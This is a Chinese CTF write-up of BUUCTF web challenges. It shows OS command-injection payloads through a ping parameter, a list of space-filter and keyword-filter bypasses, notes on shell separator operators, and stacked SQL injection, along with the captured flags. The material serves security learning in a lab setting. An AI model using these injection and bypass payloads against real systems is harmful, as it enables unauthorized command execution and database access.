BUUCTF Web wp

[ACTF2020 新生赛]Exec

输入127.0.0.1;ls

发现真的把 index.php(也就是ls的操作结果)真的输出了,说明没有过滤分号

最终在127.0.0.1;cd ../../../;ls找到了flag文件

输入127.0.0.1;cd ../../../;ls得到flag

flag:flag{4e3b851f-9a72-42c9-a57a-d6698548cdc0}

[GXYCTF2019]Ping Ping Ping

发现有一个/?ip=

根据上一题的经验,我们输入/?ip=127.0.0.1;ls,得到

得知不能输入空格

所以我们需要绕过空格使用一下平替

1
2
3
4
5
6
7
8
9
10
11
12
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)

输入/?ip=127.0.0.1;cat$IFS1flag.php

我们查看index.php

使用 /?ip=127.0.0.1;e=g;cat$IFS$1fla$e.php

F12即可得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
;     前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)
---
ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag
---
?ip=127.0.0.1;cat$IFS$9`ls`
$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字
这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用

flag:flag{ef88dbb0-2c4d-4489-9fdb-02ce4c5d6fa1}

[SUCTF 2019]EasySQL

堆叠注入查询数据库

1; show databases;

查询表名

1
2
1;show columns from Flag;#
select $_GET['query'] || flag from flag

尝试访问Flag,发现不行

输入*,1

1
2
3
4
5
6
7
8
9
10
11
这里的原理是

sql=select.post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,
就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。

这里说一下我的理解

这里输入*,1,这里会增加一个临时列,他的列名为1,然后那一列的值都为1。

当我们只关心数据表有多少记录行而不需要知道具体的字段值时,类似“select 1 from tblName”是一个很不错的SQL语句写法,它通常用于子查询。这样可以减少系统开销,提高运行效率,因为这样子写的SQL语句,数据库引擎就不会去检索数据表里一条条具体的记录和每条记录里一个个具体的字段值并将它们放到内存里,而是根据查询到有多少行存在就输出多少个“1”,每个“1”代表有1行记录,同时选用数字1还因为它所占用的内存空间最小,当然用数字0的效果也一样。在不需要知道具体的记录值是什么的情况下这种写法无疑更加可取。

flag:flag{70066add-3cd0-49ec-84b3-8e6ee05c3dd9}

[强网杯 2019]随便注